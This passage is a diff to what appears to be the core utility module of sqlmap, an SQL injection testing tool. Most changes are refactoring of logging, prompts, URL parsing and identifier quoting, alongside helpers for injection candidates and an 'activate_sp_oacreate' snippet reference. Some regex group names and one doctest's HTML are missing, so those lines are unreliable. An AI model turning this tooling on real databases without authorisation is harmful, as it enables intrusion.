parameter, re.I)): _ = urldecode(testableParameters[parameter], convall=True) - if (_.endswith("'") and _.count("'") == 1 - or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\ - and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): + if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most likely leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " @@ -639,7 +645,7 @@ def walk(head, current=None): current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) else: current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) - candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters) + candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters) current[key] = original deserialized = json.loads(testableParameters[parameter]) @@ -649,7 +655,7 @@ def walk(head, current=None): message = "it appears that provided value for %s parameter '%s' " % (place, parameter) message += "is JSON deserializable. Do you want to inject inside? [y/N] " - if not readInput(message, default='N', boolean=True): + if readInput(message, default='N', boolean=True): del testableParameters[parameter] testableParameters.update(candidates) break @@ -862,28 +868,42 @@ def boldifyMessage(message): retVal = message if any(_ in message for _ in BOLD_PATTERNS): - retVal = setColor(message, True) + retVal = setColor(message, bold=True) return retVal -def setColor(message, bold=False): +def setColor(message, color=None, bold=False): retVal = message - level = extractRegexResult(r"\[(?P[A-Z ]+)\]", message) or kb.get("stickyLevel") + level = extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel") + + if isinstance(level, unicode): + level = unicodeencode(level) if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler - if bold: - retVal = colored(message, color=None, on_color=None, attrs=("bold",)) + if bold or color: + retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) elif level: level = getattr(logging, level, None) if isinstance(level, basestring) else level - _ = LOGGER_HANDLER.level_map.get(level) - if _: - background, foreground, bold = _ - retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None) - + retVal = LOGGER_HANDLER.colorize(message, level) kb.stickyLevel = level if message and message[-1] != "\n" else None return retVal +def clearColors(message): + """ + Clears ANSI color codes + + >>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld") + 'Hello World' + """ + + retVal = message + + if isinstance(message, str): + retVal = re.sub(r"\x1b\[[\d;]+m", "", message) + + return retVal + def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS): """ Writes text to the stdout (console) stream @@ -892,7 +912,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= message = "" if not kb.get("threadException"): - if forceOutput or not getCurrentThreadData().disableStdOut: + if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")): if kb.get("multiThreadMode"): logging._acquireLock() @@ -903,9 +923,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= try: if conf.get("api"): - sys.stdout.write(message, status, content_type) + sys.stdout.write(clearColors(message), status, content_type) else: - sys.stdout.write(setColor(message, bold)) + sys.stdout.write(setColor(message, bold=bold)) sys.stdout.flush() except IOError: @@ -989,6 +1009,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False): kb.prependFlag = False if conf.get("answers"): + if not any(_ in conf.answers for _ in ",="): + return conf.answers + for item in conf.answers.split(','): question = item.split('=')[0].strip() answer = item.split('=')[1] if len(item.split('=')) > 1 else None @@ -997,14 +1020,17 @@ def readInput(message, default=None, checkBatch=True, boolean=False): elif answer is None and retVal: retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) + if message and getattr(LOGGER_HANDLER, "is_tty", False): + message = "\r%s" % message + if retVal: - dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True) + dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True) debugMsg = "used the given answer" logger.debug(debugMsg) if retVal is None: - if checkBatch and conf.get("batch"): + if checkBatch and conf.get("batch") or conf.get("api"): if isListLike(default): options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: @@ -1012,7 +1038,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): else: options = unicode() - dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True) + dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True) debugMsg = "used the default behavior, running in batch mode" logger.debug(debugMsg) @@ -1025,7 +1051,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): if conf.get("beep"): beep() - dataToStdout("\r%s" % message, forceOutput=True, bold=True) + dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True) kb.prependFlag = False retVal = raw_input().strip() or default @@ -1139,6 +1165,9 @@ def getHeader(headers, key): def checkFile(filename, raiseOnError=True): """ Checks for file existence and readability + + >>> checkFile(__file__) + True """ valid = True @@ -1149,7 +1178,7 @@ def checkFile(filename, raiseOnError=True): try: if filename is None or not os.path.isfile(filename): valid = False - except UnicodeError: + except: valid = False if valid: @@ -1169,11 +1198,11 @@ def banner(): This function prints sqlmap banner with its version """ - if not any(_ in sys.argv for _ in ("--version", "--api")): + if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"): _ = BANNER if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: - _ = re.sub("\033.+?m", "", _) + _ = clearColors(_) elif IS_WIN: coloramainit() @@ -1246,11 +1275,15 @@ def setPaths(rootPath): paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") + # history files + paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(_, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst") + paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst") + paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst") + paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst") + paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst") + # sqlmap files - paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") - paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") - paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") - paths.GITHUB_HISTORY = os.path.join(_, "github.hst") paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") @@ -1270,7 +1303,7 @@ def setPaths(rootPath): paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") for path in paths.values(): - if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): + if any(path.endswith(_) for _ in (".md5", ".txt", ".xml", ".zip")): checkFile(path) def weAreFrozen(): @@ -1290,13 +1323,11 @@ def parseTargetDirect(): if not conf.direct: return - conf.direct = conf.direct.encode(UNICODE_ENCODING) # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters - details = None remote = False for dbms in SUPPORTED_DBMS: - details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) + details = re.search(r"^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I) if details: conf.dbms = details.group("dbms") @@ -1322,7 +1353,7 @@ def parseTargetDirect(): conf.hostname = "localhost" conf.port = 0 - conf.dbmsDb = details.group("db") + conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None conf.parameters[None] = "direct connection" break @@ -1351,7 +1382,7 @@ def parseTargetDirect(): raise SqlmapSyntaxException(errMsg) if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): - import _mssql + __import__("_mssql") import pymssql if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": @@ -1361,19 +1392,25 @@ def parseTargetDirect(): raise SqlmapMissingDependence(errMsg) elif dbmsName == DBMS.MYSQL: - import pymysql + __import__("pymysql") elif dbmsName == DBMS.PGSQL: - import psycopg2 + __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - import cx_Oracle + __import__("cx_Oracle") + + # Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper + if (conf.dbmsUser or "").upper() == "SYS": + conf.direct = "%s?mode=SYSDBA" % conf.direct elif dbmsName == DBMS.SQLITE: - import sqlite3 + __import__("sqlite3") elif dbmsName == DBMS.ACCESS: - import pyodbc + __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - import kinterbasdb + __import__("kinterbasdb") + except (SqlmapSyntaxException, SqlmapMissingDependence): + raise except: - if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: + if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])): pass else: errMsg = "sqlmap requires '%s' third-party library " % data[1] @@ -1398,11 +1435,11 @@ def parseTargetUrl(): errMsg += "on this platform" raise SqlmapGenericException(errMsg) - if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I): - if ":443/" in conf.url: - conf.url = "https://" + conf.url + if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I): + if re.search(r":443\b", conf.url): + conf.url = "https://%s" % conf.url else: - conf.url = "http://" + conf.url + conf.url = "http://%s" % conf.url if kb.customInjectionMark in conf.url: conf.url = conf.url.replace('?', URI_QUESTION_MARKER) @@ -1415,7 +1452,7 @@ def parseTargetUrl(): errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) - hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) + hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https" conf.path = urlSplit.path.strip() @@ -1425,13 +1462,14 @@ def parseTargetUrl(): conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "") try: - _ = conf.hostname.encode("idna") - except LookupError: - _ = conf.hostname.encode(UNICODE_ENCODING) - except UnicodeError: - _ = None + conf.hostname.encode("idna") + conf.hostname.encode(UNICODE_ENCODING) + except (LookupError, UnicodeError): + invalid = True + else: + invalid = False - if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): + if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): errMsg = "invalid target URL ('%s')" % originalUrl raise SqlmapSyntaxException(errMsg) @@ -1474,6 +1512,23 @@ def parseTargetUrl(): if conf.url != originalUrl: kb.originalUrls[conf.url] = originalUrl +def escapeJsonValue(value): + """ + Escapes JSON value (used in payloads) + + # Reference: https://stackoverflow.com/a/16652683 + """ + + retVal = "" + + for char in value: + if char < ' ' or char == '"': + retVal += json.dumps(char)[1:-1] + else: + retVal += char + + return retVal + def expandAsteriskForColumns(expression): """ If the user provided an asterisk rather than the column(s) @@ -1481,14 +1536,14 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression) - if asterisk: + if match: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) - _ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.') + _ = match.group(2).replace("..", '.').replace(".dbo.", '.') db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _) if db is None: @@ -1597,6 +1652,9 @@ def parseUnionPage(page): def parseFilePaths(page): """ Detects (possible) absolute system paths inside the provided page content + + >>> _ = "/var/www/html/index.php"; parseFilePaths("Error occurred at line 207 of: %s
Please contact your administrator" % _); _ in kb.absFilePaths + True """ if page: @@ -1823,8 +1881,7 @@ def getFilteredPageContent(page, onlyText=True, split=" "): # only if the page's charset has been successfully identified if isinstance(page, unicode): retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) - while retVal.find(2 * split) != -1: - retVal = retVal.replace(2 * split, split) + retVal = re.sub(r"%s{2,}" % split, split, retVal) retVal = htmlunescape(retVal.strip().strip(split)) return retVal @@ -1985,11 +2042,14 @@ def parseXmlFile(xmlFile, handler): errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) def getSQLSnippet(dbms, sfile, **variables): """ Returns content of SQL snippet located inside 'procs/' directory + + >>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + True """ if sfile.endswith('.sql') and os.path.exists(sfile): @@ -2029,9 +2089,12 @@ def getSQLSnippet(dbms, sfile, **variables): return retVal -def readCachedFileContent(filename, mode='rb'): +def readCachedFileContent(filename, mode="rb"): """ Cached reading of file content (avoiding multiple same file reading) + + >>> "readCachedFileContent" in readCachedFileContent(__file__) + True """ if filename not in kb.cache.content: @@ -2058,6 +2121,16 @@ def readXmlFile(xmlFile): return retVal +def average(values): + """ + Computes the arithmetic mean of a list of numbers. + + >>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) + 0.9 + """ + + return (sum(values) / len(values)) if values else None + @cachedmethod def stdev(values): """ @@ -2072,22 +2145,15 @@ def stdev(values): return None else: avg = average(values) - _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) + _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values) return sqrt(_ / (len(values) - 1)) -def average(values): - """ - Computes the arithmetic mean of a list of numbers. - - >>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) - 0.9 - """ - - return (sum(values) / len(values)) if values else None - def calculateDeltaSeconds(start): """ Returns elapsed time from start till now + + >>> calculateDeltaSeconds(0) > 1151721660 + True """ return time.time() - start @@ -2095,6 +2161,9 @@ def calculateDeltaSeconds(start): def initCommonOutputs(): """ Initializes dictionary containing common output values used by "good samaritan" feature + + >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] + True """ kb.commonOutputs = {} @@ -2117,7 +2186,7 @@ def initCommonOutputs(): if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) -def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): +def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file """ @@ -2130,20 +2199,14 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un checkFile(filename) try: - with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f: - for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used + with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f: + for line in (f.readlines() if unicoded else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used if commentPrefix: if line.find(commentPrefix) != -1: line = line[:line.find(commentPrefix)] line = line.strip() - if not unicode_: - try: - line = str.encode(line) - except UnicodeDecodeError: - continue - if line: if lowercase: line = line.lower() @@ -2516,7 +2579,7 @@ def findMultipartPostBoundary(post): return retVal -def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True): +def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): """ URL decodes given value @@ -2534,14 +2597,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH pass finally: if convall: - result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value) + result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value) else: def _(match): charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) char = chr(ord(match.group(1).decode("hex"))) return char if char in charset else match.group(0) result = value - if plusspace: + if spaceplus: result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) result = re.sub(r"%([0-9a-fA-F]{2})", _, result) @@ -2643,7 +2706,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) -def getPageTemplate(payload, place): # Cross-linked function +def getPageTemplate(payload, place): # Cross-referenced function raise NotImplementedError @cachedmethod @@ -2868,15 +2931,15 @@ def filterStringValue(value, charRegex, replacement=""): return retVal -def filterControlChars(value): +def filterControlChars(value, replacement=' '): """ - Returns string value with control chars being supstituted with ' ' + Returns string value with control chars being supstituted with replacement character >>> filterControlChars(u'AND 1>(2+3)\\n--') u'AND 1>(2+3) --' """ - return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ') + return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) def isDBMSVersionAtLeast(version): """ @@ -2976,7 +3039,7 @@ def setOptimize(): Sets options turned on by switch '-o' """ - #conf.predictOutput = True + # conf.predictOutput = True conf.keepAlive = True conf.threads = 3 if conf.threads < 3 else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) @@ -3180,9 +3243,7 @@ def showHttpErrorCodes(): if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" - warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \ - if code in httplib.responses else '?', count) \ - for code, count in kb.httpErrorCodes.items()) + warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items()) logger.warn(warnMsg) if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): msg = "too many 4xx and/or 5xx HTTP error codes " @@ -3198,8 +3259,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu return codecs.open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename - errMsg += "Please check %s permissions on a file " % ("write" if \ - mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") + errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process." raise SqlmapSystemException(errMsg) @@ -3264,14 +3324,17 @@ def checkIntegrity(): logger.debug("running code integrity check") retVal = True - for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)): - path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _)) - if not os.path.isfile(path): - logger.error("missing file detected '%s'" % path) - retVal = False - elif md5File(path) != checksum: - logger.error("wrong checksum of file '%s' detected" % path) - retVal = False + + if os.path.isfile(paths.CHECKSUM_MD5): + for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)): + path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _)) + if not os.path.isfile(path): + logger.error("missing file detected '%s'" % path) + retVal = False + elif md5File(path) != checksum: + logger.error("wrong checksum of file '%s' detected" % path) + retVal = False + return retVal def unhandledExceptionMessage(): @@ -3287,9 +3350,9 @@ def unhandledExceptionMessage(): errMsg += "reproduce the bug. The " errMsg += "developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" - errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] + errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION - errMsg += "Operating system: %s\n" % PLATFORM + errMsg += "Operating system: %s\n" % platform.platform() errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" @@ -3305,6 +3368,25 @@ def unhandledExceptionMessage(): return errMsg +def getLatestRevision(): + """ + Retrieves latest revision from the offical repository + + >>> from lib.core.settings import VERSION; getLatestRevision() == VERSION + True + """ + + retVal = None + req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py") + + try: + content = urllib2.urlopen(req).read() + retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P[\d.]+)", content) + except: + pass + + return retVal + def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information @@ -3319,7 +3401,7 @@ def createGithubIssue(errMsg, excMsg): _ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"\s+line \d+", "", _) - _ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _) + _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r".+\Z", "", _) key = hashlib.md5(_).hexdigest()[:8] @@ -3330,7 +3412,7 @@ def createGithubIssue(errMsg, excMsg): msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " try: - choice = readInput(msg, default='N', boolean=True) + choice = readInput(msg, default='N', checkBatch=False, boolean=True) except: choice = None @@ -3397,10 +3479,12 @@ def maskSensitiveData(msg): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) - if not conf.get("hostname"): - match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal) - if match: - retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) + # Just in case (for problematic parameters regarding user encoding) + for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): + retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) + + # Fail-safe substitution + retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) @@ -3425,9 +3509,9 @@ def listToStrValue(value): return retVal -def intersect(valueA, valueB, lowerCase=False): +def intersect(containerA, containerB, lowerCase=False): """ - Returns intersection of the array-ized values + Returns intersection of the container-ized values >>> intersect([1, 2, 3], set([1,3])) [1, 3] @@ -3435,15 +3519,15 @@ def intersect(valueA, valueB, lowerCase=False): retVal = [] - if valueA and valueB: - valueA = arrayizeValue(valueA) - valueB = arrayizeValue(valueB) + if containerA and containerB: + containerA = arrayizeValue(containerA) + containerB = arrayizeValue(containerB) if lowerCase: - valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA] - valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB] + containerA = [val.lower() if isinstance(val, basestring) else val for val in containerA] + containerB = [val.lower() if isinstance(val, basestring) else val for val in containerB] - retVal = [val for val in valueA if val in valueB] + retVal = [val for val in containerA if val in containerB] return retVal @@ -3463,7 +3547,7 @@ def _(value): return value payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) - regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) + regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape"))) if regex != payload: if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check @@ -3486,6 +3570,7 @@ def _(value): regex = r"%s\b" % regex _retVal = [retVal] + def _thread(regex): try: _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) @@ -3562,19 +3647,27 @@ def safeSQLIdentificatorNaming(name, isTable=False): _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) if _: - retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) + retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) retVal = unsafeSQLIdentificatorNaming(retVal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)): - retVal = "[%s]" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if isTable: + parts = retVal.split('.', 1) + for i in xrange(len(parts)): + if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): + parts[i] = "[%s]" % parts[i] + retVal = '.'.join(parts) + else: + if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: + retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) @@ -3702,7 +3795,7 @@ def __init__(self): logger.debug(debugMsg) else: found = sorted(options.keys(), key=lambda x: len(x))[0] - warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) + warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warn(warnMsg) @@ -3850,7 +3943,7 @@ def quote(s, safe): # urllib.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if getUnicode(s).encode("ascii", "replace") != s or forceQuote: - return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) + return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe) return s username = quote(parts.username, '') @@ -3908,12 +4001,16 @@ def isAdminFromPrivileges(privileges): def findPageForms(content, url, raise_=False, addToTargets=False): """ Parses given page content for possible forms + + >>> findPageForms('
', '') + set([(u'/input.php', 'POST', u'id=1', None, None)]) """ class _(StringIO): def __init__(self, content, url): StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) self._url = url + def geturl(self): return self._url @@ -3930,8 +4027,6 @@ def geturl(self): try: forms = ParseResponse(response, backwards_compat=False) - except (UnicodeError, ValueError): - pass except ParseError: if re.search(r"(?i).+)\]", url) + retVal = extractRegexResult(r"http(s)?://\[(?P.+)\]", url) elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): retVal = retVal.split(':')[0] @@ -4051,6 +4153,7 @@ def checkDeprecatedOptions(args): """ for _ in args: + _ = _.split('=')[0].strip() if _ in DEPRECATED_OPTIONS: errMsg = "switch/option '%s' is deprecated" % _ if DEPRECATED_OPTIONS[_]: @@ -4081,6 +4184,9 @@ def checkSystemEncoding(): def evaluateCode(code, variables=None): """ Executes given python code given in a string form + + >>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"] + 1 """ try: @@ -4134,6 +4240,9 @@ def 